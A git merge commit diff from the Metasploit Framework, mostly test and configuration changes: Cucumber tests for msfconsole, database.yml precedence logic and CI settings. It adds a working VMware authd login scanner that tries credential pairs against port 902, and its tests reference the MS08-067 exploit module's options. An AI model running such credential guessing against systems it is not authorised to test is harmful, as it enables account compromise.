Merge branch 'aruba-testing-with-updated-master' into aruba-testing

bug/bundler_fix
darkbushido 2014-09-02 19:00:46 -05:00
commit 794dc136f6
No known key found for this signature in database
GPG Key ID: 3922EB70FB80E8DD
134 changed files with 2772 additions and 1105 deletions

View File

@ -39,6 +39,11 @@ Style/MethodLength:
often exceed 200 lines. often exceed 200 lines.
Max: 300 Max: 300
# Basically everything in metasploit needs binary encoding, not UTF-8.
# Disable this here and enforce it through msftidy
Style/Encoding:
Enabled: false
Style/NumericLiterals: Style/NumericLiterals:
Enabled: false Enabled: false
Description: 'This often hurts readability for exploit-ish code.' Description: 'This often hurts readability for exploit-ish code.'
@ -54,3 +59,21 @@ Style/StringLiterals:
Style/WordArray: Style/WordArray:
Enabled: false Enabled: false
Description: 'Metasploit prefers consistent use of []' Description: 'Metasploit prefers consistent use of []'
Style/RedundantBegin:
Exclude:
# this pattern is very common and somewhat unavoidable
# def run_host(ip)
# begin
# ...
# rescue ...
# ...
# ensure
# disconnect
# end
# end
- 'modules/**/*'
Documentation:
Exclude:
- 'modules/**/*'

View File

@ -1,3 +1,7 @@
env:
- RAKE_TASK=cucumber
- RAKE_TASK=cucumber:boot
- RAKE_TASK=spec
language: ruby language: ruby
before_install: before_install:
- rake --version - rake --version
@ -14,6 +18,7 @@ before_script:
- bundle exec rake --version - bundle exec rake --version
- bundle exec rake db:create - bundle exec rake db:create
- bundle exec rake db:migrate - bundle exec rake db:migrate
script: "bundle exec rake $RAKE_TASK"
rvm: rvm:
#- '1.8.7' #- '1.8.7'

View File

@ -39,10 +39,6 @@ group :development, :test do
# Define `rake spec`. Must be in development AND test so that its available by default as a rake test when the # Define `rake spec`. Must be in development AND test so that its available by default as a rake test when the
# environment is development # environment is development
gem 'rspec-rails' , '>= 2.12', '< 3.0.0' gem 'rspec-rails' , '>= 2.12', '< 3.0.0'
gem 'cucumber-rails', :require => false
gem 'aruba'
end end
group :pcap do group :pcap do
@ -52,6 +48,10 @@ group :pcap do
end end
group :test do group :test do
# cucumber extension for testing command line applications, like msfconsole
gem 'aruba'
# cucumber + automatic database cleaning with database_cleaner
gem 'cucumber-rails'
gem 'shoulda-matchers' gem 'shoulda-matchers'
# code coverage for tests # code coverage for tests
# any version newer than 0.5.4 gives an Encoding error when trying to read the source files. # any version newer than 0.5.4 gives an Encoding error when trying to read the source files.

View File

@ -51,7 +51,7 @@ GEM
arel (3.0.3) arel (3.0.3)
arel-helpers (2.0.1) arel-helpers (2.0.1)
activerecord (>= 3.1.0, < 5) activerecord (>= 3.1.0, < 5)
aruba (0.6.0) aruba (0.6.1)
childprocess (>= 0.3.6) childprocess (>= 0.3.6)
cucumber (>= 1.1.1) cucumber (>= 1.1.1)
rspec-expectations (>= 2.7.0) rspec-expectations (>= 2.7.0)
@ -117,7 +117,7 @@ GEM
mime-types (1.25.1) mime-types (1.25.1)
mini_portile (0.6.0) mini_portile (0.6.0)
msgpack (0.5.8) msgpack (0.5.8)
multi_json (1.0.4) multi_json (1.0.3)
network_interface (0.0.1) network_interface (0.0.1)
nokogiri (1.6.3.1) nokogiri (1.6.3.1)
mini_portile (= 0.6.0) mini_portile (= 0.6.0)
@ -196,7 +196,7 @@ GEM
treetop (1.4.15) treetop (1.4.15)
polyglot polyglot
polyglot (>= 0.3.1) polyglot (>= 0.3.1)
tzinfo (0.3.40) tzinfo (0.3.41)
xpath (2.0.0) xpath (2.0.0)
nokogiri (~> 1.3) nokogiri (~> 1.3)
yard (0.8.7.4) yard (0.8.7.4)

View File

@ -26,30 +26,14 @@ require 'action_view/railtie'
# #
require 'metasploit/framework/common_engine' require 'metasploit/framework/common_engine'
require 'msf/base/config' require 'metasploit/framework/database'
module Metasploit module Metasploit
module Framework module Framework
class Application < Rails::Application class Application < Rails::Application
include Metasploit::Framework::CommonEngine include Metasploit::Framework::CommonEngine
environment_database_yaml = ENV['MSF_DATABASE_CONFIG'] config.paths['config/database'] = [Metasploit::Framework::Database.configurations_pathname.try(:to_path)]
if environment_database_yaml
# DO NOT check if the path exists: if the environment variable is set, then the user meant to use this path
# and if it doesn't exist then an error should occur so the user knows the environment variable points to a
# non-existent file.
config.paths['config/database'] = environment_database_yaml
else
user_config_root = Pathname.new(Msf::Config.get_config_root)
user_database_yaml = user_config_root.join('database.yml')
# DO check if the path exists as in test environments there may be no config root, in which case the normal
# rails location, `config/database.yml`, should contain the database config.
if user_database_yaml.exist?
config.paths['config/database'] = [user_database_yaml.to_path]
end
end
end end
end end
end end

View File

@ -1,6 +1,10 @@
# config/cucumber.yml <%
##YAML Template rerun = File.file?('rerun.txt') ? IO.read('rerun.txt') : ""
--- rerun_opts = rerun.to_s.strip.empty? ? "--format #{ENV['CUCUMBER_FORMAT'] || 'progress'} features" : "--format #{ENV['CUCUMBER_FORMAT'] || 'pretty'} #{rerun}"
<% common = "--tags ~@wip --strict --tags ~@targets" %> std_opts = "--format #{ENV['CUCUMBER_FORMAT'] || 'pretty'} --strict --tags ~@wip"
default: <%= common %> --tags ~@boot features ignored_tags = "--tags ~@boot --tags ~@targets"
boot: <%= common %> --tags @boot features %>
default: <%= std_opts %> <%= ignored_tags %> features
boot: <%= std_opts %> --tags @boot features
wip: --tags @wip:3 --wip features
rerun: <%= rerun_opts %> --format rerun --out rerun.txt --strict --tags ~@wip

View File

@ -1,6 +1,9 @@
@msfconsole
Feature: Help command Feature: Help command
Background:
Given I run `msfconsole` interactively
And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp"
Scenario: The 'help' command's output Scenario: The 'help' command's output
When I type "help" When I type "help"
And I type "exit" And I type "exit"

View File

@ -1,160 +1,98 @@
@msfconsole
Feature: MS08-067 netapi Feature: MS08-067 netapi
Background:
Given I run `msfconsole` interactively
And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp"
Scenario: The MS08-067 Module should have the following options Scenario: The MS08-067 Module should have the following options
When I type "use exploit/windows/smb/ms08_067_netapi" When I type "use exploit/windows/smb/ms08_067_netapi"
And I type "show options" And I type "show options"
And I type "exit" And I type "exit"
Then the output should contain: Then the output should contain the following:
""" | Module options (exploit/windows/smb/ms08_067_netapi) |
Module options (exploit/windows/smb/ms08_067_netapi): | Name Current Setting Required Description |
| ---- --------------- -------- ----------- |
Name Current Setting Required Description | RHOST yes The target address |
---- --------------- -------- ----------- | RPORT 445 yes Set the SMB service port |
RHOST yes The target address | RPORT 445 yes Set the SMB service port |
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
"""
Scenario: The MS08-067 Module should have the following advanced options Scenario: The MS08-067 Module should have the following advanced options
When I type "use exploit/windows/smb/ms08_067_netapi" When I type "use exploit/windows/smb/ms08_067_netapi"
And I type "show advanced" And I type "show advanced"
And I type "exit" And I type "exit"
Then the output should contain: Then the output should contain the following:
""" | Name : CHOST |
Module advanced options: | Description : The local client address |
| Name : CPORT |
| Description : The local client port |
| Name : ConnectTimeout |
| Description : Maximum number of seconds to establish a TCP connection |
| Name : ContextInformationFile |
| Description : The information file that contains context information |
| Name : DCERPC::ReadTimeout |
| Description : The number of seconds to wait for DCERPC responses |
| Name : DisablePayloadHandler |
| Description : Disable the handler code for the selected payload |
| Name : EnableContextEncoding |
| Description : Use transient context when encoding payloads |
| Name : NTLM::SendLM |
| Description : Always send the LANMAN response (except when NTLMv2_session is |
| specified) |
| Name : NTLM::SendNTLM |
| Description : Activate the 'Negotiate NTLM key' flag, indicating the use of |
| NTLM responses |
| Name : NTLM::SendSPN |
| Current Setting: true |
| Description : Send an avp of type SPN in the ntlmv2 client Blob, this allow |
| authentification on windows Seven/2008r2 when SPN is required |
| Name : NTLM::UseLMKey |
| Description : Activate the 'Negotiate Lan Manager Key' flag, using the LM key |
| when the LM response is sent |
| Name : NTLM::UseNTLM2_session |
| Description : Activate the 'Negotiate NTLM2 key' flag, forcing the use of a |
| NTLMv2_session |
| Name : NTLM::UseNTLMv2 |
| Description : Use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' key |
| is true |
# | Name : Proxies |
# | Description : Use a proxy chain |
| Name : SMB::ChunkSize |
| Current Setting: 500 |
| Description : The chunk size for SMB segments, bigger values will increase |
| speed but break NT 4.0 and SMB signing |
| Name : SMB::Native_LM |
| Description : The Native LM to send during authentication |
| Name : SMB::Native_OS |
| Description : The Native OS to send during authentication |
| Name : SMB::VerifySignature |
| Description : Enforces client-side verification of server response signatures |
| Name : SMBDirect |
| Description : The target port is a raw SMB service (not NetBIOS) |
| Name : SMBDomain |
| Description : The Windows domain to use for authentication |
| Name : SMBName |
| Description : The NetBIOS hostname (required for port 139 connections) |
| Name : SMBPass |
| Description : The password for the specified username |
| Name : SMBUser |
| Description : The username to authenticate as |
| Name : SSL |
| Description : Negotiate SSL for outgoing connections |
| Name : SSLCipher |
| Description : String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH" |
| Name : SSLVerifyMode |
| Description : SSL verification method (accepted: CLIENT_ONCE, |
| FAIL_IF_NO_PEER_CERT, NONE, PEER) |
| Name : SSLVersion |
| Description : Specify the version of SSL that should be used (accepted: SSL2, |
| SSL3, TLS1) |
| Name : VERBOSE |
| Description : Enable detailed status messages |
| Name : WORKSPACE |
| Description : Specify the workspace for this module |
| Name : WfsDelay |
| Description : Additional delay when waiting for a session |
Name : CHOST
Current Setting:
Description : The local client address
Name : CPORT
Current Setting:
Description : The local client port
Name : ConnectTimeout
Current Setting: 10
Description : Maximum number of seconds to establish a TCP connection
Name : ContextInformationFile
Current Setting:
Description : The information file that contains context information
Name : DCERPC::ReadTimeout
Current Setting: 10
Description : The number of seconds to wait for DCERPC responses
Name : DisablePayloadHandler
Current Setting: false
Description : Disable the handler code for the selected payload
Name : EnableContextEncoding
Current Setting: false
Description : Use transient context when encoding payloads
Name : NTLM::SendLM
Current Setting: true
Description : Always send the LANMAN response (except when NTLMv2_session is
specified)
Name : NTLM::SendNTLM
Current Setting: true
Description : Activate the 'Negotiate NTLM key' flag, indicating the use of
NTLM responses
Name : NTLM::SendSPN
Current Setting: true
Description : Send an avp of type SPN in the ntlmv2 client Blob, this allow
authentification on windows Seven/2008r2 when SPN is required
Name : NTLM::UseLMKey
Current Setting: false
Description : Activate the 'Negotiate Lan Manager Key' flag, using the LM key
when the LM response is sent
Name : NTLM::UseNTLM2_session
Current Setting: true
Description : Activate the 'Negotiate NTLM2 key' flag, forcing the use of a
NTLMv2_session
Name : NTLM::UseNTLMv2
Current Setting: true
Description : Use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' key
is true
Name : Proxies
Current Setting:
Description : Use a proxy chain
Name : SMB::ChunkSize
Current Setting: 500
Description : The chunk size for SMB segments, bigger values will increase
speed but break NT 4.0 and SMB signing
Name : SMB::Native_LM
Current Setting: Windows 2000 5.0
Description : The Native LM to send during authentication
Name : SMB::Native_OS
Current Setting: Windows 2000 2195
Description : The Native OS to send during authentication
Name : SMB::VerifySignature
Current Setting: false
Description : Enforces client-side verification of server response signatures
Name : SMBDirect
Current Setting: true
Description : The target port is a raw SMB service (not NetBIOS)
Name : SMBDomain
Current Setting: .
Description : The Windows domain to use for authentication
Name : SMBName
Current Setting: *SMBSERVER
Description : The NetBIOS hostname (required for port 139 connections)
Name : SMBPass
Current Setting:
Description : The password for the specified username
Name : SMBUser
Current Setting:
Description : The username to authenticate as
Name : SSL
Current Setting: false
Description : Negotiate SSL for outgoing connections
Name : SSLCipher
Current Setting:
Description : String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
Name : SSLVerifyMode
Current Setting: PEER
Description : SSL verification method (accepted: CLIENT_ONCE,
FAIL_IF_NO_PEER_CERT, NONE, PEER)
Name : SSLVersion
Current Setting: SSL3
Description : Specify the version of SSL that should be used (accepted: SSL2,
SSL3, TLS1)
Name : VERBOSE
Current Setting: false
Description : Enable detailed status messages
Name : WORKSPACE
Current Setting:
Description : Specify the workspace for this module
Name : WfsDelay
Current Setting: 0
Description : Additional delay when waiting for a session
"""
@msfconsole
@targets @targets
Scenario: Show RHOST/etc variable expansion from a config file Scenario: Show RHOST/etc variable expansion from a config file
When I type "use exploit/windows/smb/ms08_067_netapi" When I type "use exploit/windows/smb/ms08_067_netapi"
@ -165,5 +103,3 @@ Feature: MS08-067 netapi
And I type "exit" And I type "exit"
And I type "exit" And I type "exit"
Then the output should match /spider-wxp/ Then the output should match /spider-wxp/

View File

@ -1,47 +0,0 @@
@boot
Feature: Launching `msfconsole`
@no-database-yml
Scenario: Starting `msfconsole` without a database.yml
Given I run `msfconsole` interactively
And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp"
When I type "db_status"
And I type "exit"
Then the output should contain "[*] postgresql selected, no connection"
@no-database-yml
Scenario: Starting `msfconsole` with an invalid database.yml
Given a file named "database.yml" with:
"""
development: &pgsql
adapter: postgresql
database: metasploit_framework_development
username: postgres
port: 6543
pool: 5
timeout: 5
production:
<<: *pgsql
test:
<<: *pgsql
database: metasploit_framework_test
"""
Given I run `msfconsole -y database.yml` interactively
And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp"
When I type "db_status"
And I type "exit"
Then the output should contain "[-] Failed to connect to the database: could not connect to server"
Then the output should contain "[*] postgresql selected, no connection"
Scenario: Starting `msfconsole` with a valid database.yml
Given I run `msfconsole` interactively
And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp"
When I type "db_status"
And I type "exit"
Then the output should contain "[*] postgresql connected to metasploit_framework_test"

View File

@ -0,0 +1,167 @@
@boot
Feature: `msfconsole` `database.yml`
In order to connect to the database in `msfconsole`
As a user calling `msfconsole` from a terminal
I want to be able to set the path of the `database.yml` in one of 4 locations (in order of precedence):
1. An explicit argument to the `-y` flag to `msfconsole`
2. The MSF_DATABASE_CONFIG environment variable
3. The user's `~/.msf4/database.yml`
4. `config/database.yml` in the metasploit-framework checkout location.
Scenario: With all 4 locations, --yaml wins
Given a file named "command_line.yml" with:
"""
test:
adapter: postgresql
database: command_line_metasploit_framework_test
username: command_line_metasploit_framework_test
"""
And a file named "msf_database_config.yml" with:
"""
test:
adapter: postgresql
database: environment_metasploit_framework_test
username: environment_metasploit_framework_test
"""
And I set the environment variables to:
| variable | value |
| MSF_DATABASE_CONFIG | msf_database_config.yml |
And a directory named "home"
And I cd to "home"
And a mocked home directory
And a directory named ".msf4"
And I cd to ".msf4"
And a file named "database.yml" with:
"""
test:
adapter: postgresql
database: user_metasploit_framework_test
username: user_metasploit_framework_test
"""
And I cd to "../.."
And the project "database.yml" exists with:
"""
test:
adapter: postgresql
database: project_metasploit_framework_test
username: project_metasploit_framework_test
"""
When I run `msfconsole --environment test --yaml command_line.yml` interactively
And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp"
And I type "exit"
Then the output should contain "command_line_metasploit_framework_test"
Scenario: Without --yaml, MSF_DATABASE_CONFIG wins
Given a file named "msf_database_config.yml" with:
"""
test:
adapter: postgresql
database: environment_metasploit_framework_test
username: environment_metasploit_framework_test
"""
And I set the environment variables to:
| variable | value |
| MSF_DATABASE_CONFIG | msf_database_config.yml |
And a directory named "home"
And I cd to "home"
And a mocked home directory
And a directory named ".msf4"
And I cd to ".msf4"
And a file named "database.yml" with:
"""
test:
adapter: postgresql
database: user_metasploit_framework_test
username: user_metasploit_framework_test
"""
And I cd to "../.."
And the project "database.yml" exists with:
"""
test:
adapter: postgresql
database: project_metasploit_framework_test
username: project_metasploit_framework_test
"""
When I run `msfconsole --environment test` interactively
And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp"
And I type "exit"
Then the output should contain "environment_metasploit_framework_test"
Scenario: Without --yaml or MSF_DATABASE_CONFIG, ~/.msf4/database.yml wins
Given I unset the environment variables:
| variable |
| MSF_DATABASE_CONFIG |
And a directory named "home"
And I cd to "home"
And a mocked home directory
And a directory named ".msf4"
And I cd to ".msf4"
And a file named "database.yml" with:
"""
test:
adapter: postgresql
database: user_metasploit_framework_test
username: user_metasploit_framework_test
"""
And I cd to "../.."
And the project "database.yml" exists with:
"""
test:
adapter: postgresql
database: project_metasploit_framework_test
username: project_metasploit_framework_test
"""
When I run `msfconsole --environment test` interactively
And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp"
And I type "exit"
Then the output should contain "user_metasploit_framework_test"
Scenario: Without --yaml, MSF_DATABASE_CONFIG or ~/.msf4/database.yml, project "database.yml" wins
Given I unset the environment variables:
| variable |
| MSF_DATABASE_CONFIG |
And a directory named "home"
And I cd to "home"
And a mocked home directory
And I cd to "../.."
And the project "database.yml" exists with:
"""
test:
adapter: postgresql
database: project_metasploit_framework_test
username: project_metasploit_framework_test
"""
When I run `msfconsole --environment test` interactively
And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp"
And I type "exit"
Then the output should contain "project_metasploit_framework_test"
Scenario: Without --yaml, MSF_DATABASE_CONFIG, ~/.msf4/database.yml, or project "database.yml", no database connection
Given I unset the environment variables:
| variable |
| MSF_DATABASE_CONFIG |
And a directory named "home"
And I cd to "home"
And a mocked home directory
And I cd to "../.."
And the project "database.yml" does not exist
When I run `msfconsole --environment test` interactively
And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp"
And I type "db_status"
And I type "exit"
Then the output should not contain "command_line_metasploit_framework_test"
And the output should not contain "environment_metasploit_framework_test"
And the output should not contain "user_metasploit_framework_test"
And the output should not contain "project_metasploit_framework_test"
And the output should contain "[*] postgresql selected, no connection"
Scenario: Starting `msfconsole` with a valid database.yml
Given I run `msfconsole` interactively
And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp"
When I type "db_status"
And I type "exit"
Then the output should contain "[*] postgresql connected to metasploit_framework_test"

View File

@ -0,0 +1,5 @@
Then /^the output should contain the following:$/ do |table|
table.raw.flatten.each do |expected|
assert_partial_output(expected, all_output)
end
end

View File

@ -0,0 +1,20 @@
Given /^I unset the environment variables:$/ do |table|
table.hashes.each do |row|
variable = row['variable'].to_s.upcase
# @todo add extension to Announcer
announcer.instance_eval do
if @options[:env]
print "$ unset #{variable}"
end
end
current_value = ENV.delete(variable)
# if original_env already has the key, then the true original was already recorded from a previous unset or set,
# so don't record the current value as it will cause ENV not to be restored after the Scenario.
unless original_env.key? variable
original_env[variable] = current_value
end
end
end

View File

@ -0,0 +1,14 @@
require 'metasploit/framework/database/cucumber'
Given /^the project "database.yml" does not exist$/ do
Metasploit::Framework::Database::Cucumber.backup_project_configurations
end
Given /^the project "database.yml" exists with:$/ do |file_content|
Metasploit::Framework::Database::Cucumber.backup_project_configurations
write_file(Metasploit::Framework::Database::Cucumber.project_configurations_path, file_content)
end
After do
Metasploit::Framework::Database::Cucumber.restore_project_configurations
end

26
features/support/bin/stty Executable file
View File

@ -0,0 +1,26 @@
#!/usr/bin/env ruby
case ARGV[0]
when 'size'
puts "30 134"
when '-a'
puts <<EOS
speed 38400 baud; 30 rows; 134 columns;
lflags: icanon isig iexten echo echoe echok echoke -echonl echoctl
-echoprt -altwerase -noflsh -tostop -flusho pendin -nokerninfo
-extproc
iflags: -istrip icrnl -inlcr -igncr ixon -ixoff ixany imaxbel iutf8
-ignbrk brkint -inpck -ignpar -parmrk
oflags: opost onlcr -oxtabs -onocr -onlret
cflags: cread cs8 -parenb -parodd hupcl -clocal -cstopb -crtscts -dsrflow
-dtrflow -mdmbuf
cchars: discard = ^O; dsusp = ^Y; eof = ^D; eol = <undef>;
eol2 = <undef>; erase = ^?; intr = ^C; kill = ^U; lnext = ^V;
min = 1; quit = ^\; reprint = ^R; start = ^Q; status = ^T;
stop = ^S; susp = ^Z; time = 0; werase = ^W;
EOS
when '-g'
puts "gfmt1:cflag=4b00:iflag=6b02:lflag=200005cf:oflag=3:discard=f:dsusp=19:eof=4:eol=ff:eol2=ff:erase=7f:intr=3:kill=15:lnext=16:min=1:quit=1c:reprint=12:start=11:status=14:stop=13:susp=1a:time=0:werase=17:ispeed=38400:ospeed=38400"
end
exit 0

View File

@ -1,13 +1,31 @@
require 'cucumber/rails' # IMPORTANT: This file is generated by cucumber-rails - edit at your own peril.
# It is recommended to regenerate this file in the future when you upgrade to a
# newer version of cucumber-rails. Consider adding your own code to a new file
# instead of editing this one. Cucumber will automatically load all features/**/*.rb
# files.
require 'cucumber/rails'
require 'aruba/cucumber' require 'aruba/cucumber'
paths = [ # Capybara defaults to XPath selectors rather than Webrat's default of CSS3. In
File.expand_path(File.join(File.dirname(__FILE__), %w(.. ..))), # order to ease the transition to Capybara we set the default here. If you'd
ENV['PATH'] # prefer to use XPath just remove this line and adjust any selectors in your
] # steps to use the XPath syntax.
ENV['PATH'] = paths.join(File::PATH_SEPARATOR) Capybara.default_selector = :css
Before do # By default, any exception happening in your Rails application will bubble up
@aruba_timeout_seconds = 180 # to Cucumber so that your scenario will fail. This is a different from how
end # your application behaves in the production environment, where an error page will
# be rendered instead.
#
# Sometimes we want to override this default behaviour and allow Rails to rescue
# exceptions and display an error page (just like when the app is running in production).
# Typical scenarios where you want to do this is when you test your error pages.
# There are two ways to allow Rails to rescue exceptions:
#
# 1) Tag your scenario (or feature) with @allow-rescue
#
# 2) Set the value below to true. Beware that doing this globally is not
# recommended as it will mask a lot of errors for you!
#
ActionController::Base.allow_rescue = false

View File

@ -1,34 +1,5 @@
Before do Before do
set_env('RAILS_ENV', 'test')
set_env('MSF_DATBASE_CONFIG', Rails.configuration.paths['config/database'].existent.first) set_env('MSF_DATBASE_CONFIG', Rails.configuration.paths['config/database'].existent.first)
end set_env('RAILS_ENV', 'test')
@aruba_timeout_seconds = 3.minutes
Before('@msfconsole') do
step 'I run `msfconsole` interactively'
step 'I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp"'
# we should not see the following
# -- --=[ 0 exploits - 0 auxiliary - 0 post ]
# -- --=[ 0 payloads - 0 encoders - 0 nops ]
end
Before('@targets') do
step 'targets are loaded'
end
Before('@no-database-yml') do
if File.exists?('config/database.yml') && File.exists?('config/database.yml.local')
FileUtils.rm('config/database.yml.local')
FileUtils.mv('config/database.yml', 'config/database.yml.local')
elsif File.exists?('config/database.yml')
FileUtils.mv('config/database.yml', 'config/database.yml.local')
end
end
After('@no-database-yml') do
if File.exists?('config/database.yml') && File.exists?('config/database.yml.local')
FileUtils.rm('config/database.yml')
FileUtils.mv('config/database.yml.local', 'config/database.yml')
elsif File.exists?('config/database.yml.local')
FileUtils.mv('config/database.yml.local', 'config/database.yml')
end
end end

View File

@ -1,2 +0,0 @@
#!/bin/sh
exit 0

11
features/support/stty.rb Normal file
View File

@ -0,0 +1,11 @@
require 'pathname'
support = Pathname.new(__FILE__).realpath.parent
paths = [
# adds support/bin at the front of the path so that the support/bin/stty script will be used to fake system stty
# output.
support.join('bin').to_path,
ENV['PATH']
]
ENV['PATH'] = paths.join(File::PATH_SEPARATOR)

View File

@ -1,14 +1,100 @@
require 'metasploit/framework' require 'metasploit/framework'
require 'msf/base/config'
module Metasploit module Metasploit
module Framework module Framework
module Database module Database
def self.configurations #
YAML.load_file(configurations_pathname) # CONSTANTS
#
CONFIGURATIONS_PATHNAME_PRECEDENCE = [
:environment_configurations_pathname,
:user_configurations_pathname,
:project_configurations_pathname
]
#
# Module Methods
#
# Returns first configuration pathname from {configuration_pathnames} or the overridding `:path`.
#
# @param options [Hash{Symbol=>String}]
# @option options [String] :path Path to use instead of first element of {configurations_pathnames}
# @return [Pathname] if configuration pathname exists.
# @return [nil] if configuration pathname does not exist.
def self.configurations_pathname(options={})
options.assert_valid_keys(:path)
path = options[:path]
if path.present?
pathname = Pathname.new(path)
else
pathname = configurations_pathnames.first
end end
def self.configurations_pathname if pathname.present? && pathname.exist?
Metasploit::Framework::Application.paths['config/database'].first pathname
else
nil
end
end
# Return configuration pathnames that exist.
#
# Returns `Pathnames` in order of precedence
#
# 1. {environment_configurations_pathname}
# 2. {user_configurations_pathname}
# 3. {project_configurations_pathname}
#
# @return [Array<Pathname>]
def self.configurations_pathnames
configurations_pathnames = []
CONFIGURATIONS_PATHNAME_PRECEDENCE.each do |configurations_pathname_message|
configurations_pathname = public_send(configurations_pathname_message)
if !configurations_pathname.nil? && configurations_pathname.exist?
configurations_pathnames << configurations_pathname
end
end
configurations_pathnames
end
# Pathname to `database.yml` pointed to by `MSF_DATABASE_CONFIG` environment variable.
#
# @return [Pathname] if `MSF_DATABASE_CONFIG` is not blank.
# @return [nil] otherwise
def self.environment_configurations_pathname
msf_database_config = ENV['MSF_DATABASE_CONFIG']
if msf_database_config.blank?
msf_database_config = nil
else
msf_database_config = Pathname.new(msf_database_config)
end
msf_database_config
end
# Pathname to `database.yml` for the metasploit-framework project in `config/database.yml`.
#
# @return [Pathname]
def self.project_configurations_pathname
root = Pathname.new(__FILE__).realpath.parent.parent.parent.parent
root.join('config', 'database.yml')
end
# Pathname to `database.yml` in the user's config directory.
#
# @return [Pathname] if the user has a `database.yml` in their config directory (`~/.msf4` by default).
# @return [nil] if the user does not have a `database.yml` in their config directory.
def self.user_configurations_pathname
Pathname.new(Msf::Config.get_config_root).join('database.yml')
end end
end end
end end

View File

@ -0,0 +1,36 @@
require 'metasploit/framework/database'
module Metasploit::Framework::Database::Cucumber
def self.project_configurations_path
Rails.root.join('config', 'database.yml').to_path
end
def self.backup_project_configurations
if File.exist?(project_configurations_path)
# assume that the backup file is from a previously aborted run and it contains the real database.yml data, so
# just delete the fake database.yml and the After hook will restore the real database.yml from the backup location
if File.exist?(backup_project_configurations_path)
File.delete(project_configurations_path)
else
# project contains the real database.yml and there was no previous, aborted run.
File.rename(project_configurations_path, backup_project_configurations_path)
end
end
end
def self.backup_project_configurations_path
"#{project_configurations_path}.cucumber.bak"
end
def self.restore_project_configurations
if File.exist?(backup_project_configurations_path)
if File.exist?(project_configurations_path)
# Remove fake, leftover database.yml
File.delete(project_configurations_path)
end
File.rename(backup_project_configurations_path, project_configurations_path)
end
end
end

View File

@ -88,7 +88,7 @@ module Metasploit
else else
result_opts.merge!(status: Metasploit::Model::Login::Status::NO_AUTH_REQUIRED) result_opts.merge!(status: Metasploit::Model::Login::Status::NO_AUTH_REQUIRED)
end end
rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT)
ensure ensure
http_client.close http_client.close

View File

@ -0,0 +1,112 @@
require 'metasploit/framework/login_scanner/base'
require 'metasploit/framework/login_scanner/rex_socket'
require 'metasploit/framework/tcp/client'
module Metasploit
module Framework
module LoginScanner
# This is the LoginScanner class for dealing with vmware-auth.
# It is responsible for taking a single target, and a list of credentials
# and attempting them. It then saves the results.
class VMAUTHD
include Metasploit::Framework::LoginScanner::Base
include Metasploit::Framework::LoginScanner::RexSocket
include Metasploit::Framework::Tcp::Client
DEFAULT_PORT = 902
LIKELY_PORTS = [ DEFAULT_PORT, 903, 912 ]
LIKELY_SERVICE_NAMES = [ 'vmauthd', 'vmware-auth' ]
PRIVATE_TYPES = [ :password ]
REALM_KEY = nil
# This method attempts a single login with a single credential against the target
# @param credential [Credential] The credential object to attempt to login with
# @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object
def attempt_login(credential)
result_options = {
credential: credential,
status: Metasploit::Model::Login::Status::INCORRECT,
proof: nil,
host: host,
port: port,
service_name: 'vmauthd',
protocol: 'tcp'
}
disconnect if self.sock
begin
connect
select([sock], nil, nil, 0.4)
# Check to see if we received an OK?
result_options[:proof] = sock.get_once
if result_options[:proof] && result_options[:proof][/^220 VMware Authentication Daemon Version.*/]
# Switch to SSL if required
swap_sock_plain_to_ssl(sock) if result_options[:proof] && result_options[:proof][/SSL/]
# If we received an OK we should send the USER
sock.put("USER #{credential.public}\r\n")
result_options[:proof] = sock.get_once
if result_options[:proof] && result_options[:proof][/^331.*/]
# If we got an OK after the username we can send the PASS
sock.put("PASS #{credential.private}\r\n")
result_options[:proof] = sock.get_once
if result_options[:proof] && result_options[:proof][/^230.*/]
# if the pass gives an OK, we're good to go
result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL
end
end
end
rescue Rex::ConnectionError, EOFError, Timeout::Error, Errno::EPIPE => e
result_options.merge!(
proof: e.message,
status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
)
end
disconnect if self.sock
Result.new(result_options)
end
private
# (see Base#set_sane_defaults)
def set_sane_defaults
self.connection_timeout ||= 30
self.port ||= DEFAULT_PORT
self.max_send_size ||= 0
self.send_delay ||= 0
end
def swap_sock_plain_to_ssl(nsock=self.sock)
ctx = generate_ssl_context
ssl = OpenSSL::SSL::SSLSocket.new(nsock, ctx)
ssl.connect
nsock.extend(Rex::Socket::SslTcp)
nsock.sslsock = ssl
nsock.sslctx = ctx
end
def generate_ssl_context
ctx = OpenSSL::SSL::SSLContext.new(:SSLv3)
@@cached_rsa_key ||= OpenSSL::PKey::RSA.new(1024){}
ctx.key = @@cached_rsa_key
ctx.session_id_context = Rex::Text.rand_text(16)
ctx
end
end
end
end
end

View File

@ -14,8 +14,8 @@ require 'active_support/ordered_options'
# Project # Project
# #
require 'metasploit/framework/database'
require 'metasploit/framework/parsed_options' require 'metasploit/framework/parsed_options'
require 'msf/base/config'
# Options parsed from the command line that can be used to change the # Options parsed from the command line that can be used to change the
# `Metasploit::Framework::Application.config` and `Rails.env` # `Metasploit::Framework::Application.config` and `Rails.env`
@ -73,15 +73,7 @@ class Metasploit::Framework::ParsedOptions::Base
options.database = ActiveSupport::OrderedOptions.new options.database = ActiveSupport::OrderedOptions.new
